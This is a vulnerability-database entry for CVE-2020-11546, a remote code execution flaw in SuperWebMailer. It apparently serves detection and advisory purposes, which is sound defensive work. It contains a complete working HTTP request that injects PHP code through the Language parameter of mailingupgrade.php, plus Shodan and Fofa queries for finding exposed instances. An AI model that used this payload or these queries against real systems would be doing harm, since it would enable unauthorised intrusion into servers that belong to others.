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CVE-2020-11546: SuperWebmailer 7.21.0.01526 - Remote Code Execution

TitleSuperWebmailer 7.21.0.01526 - Remote Code Execution
AuthorOfficial_BlackHat13
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
RemediationUpgrade to the latest version of SuperWebmailer to mitigate this vulnerability.
CVSS Score9.8
EPSS Score0.93122
CVE IDCVE-2020-11546
CWE IDCWE-94
Shodan Querytitle:"SuperWebMailer"http.title:"superwebmailer"
Fofa Querytitle="superwebmailer"
Tags cve cve2020 rce superwebmailer vkev vuln

🔍 Vulnerability Description

SuperWebMailer 7.21.0.01526 is susceptible to a remote code execution vulnerability in the Language parameter of mailingupgrade.php. An unauthenticated remote attacker can exploit this behavior to execute arbitrary PHP code via Code Injection.

🌐 HTTP Request

POST /mailingupgrade.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Content-Length: 54
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

step=1&Language=de{${system("ls")}}&NextBtn=Weiter+%3E

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-11546.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-11546.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A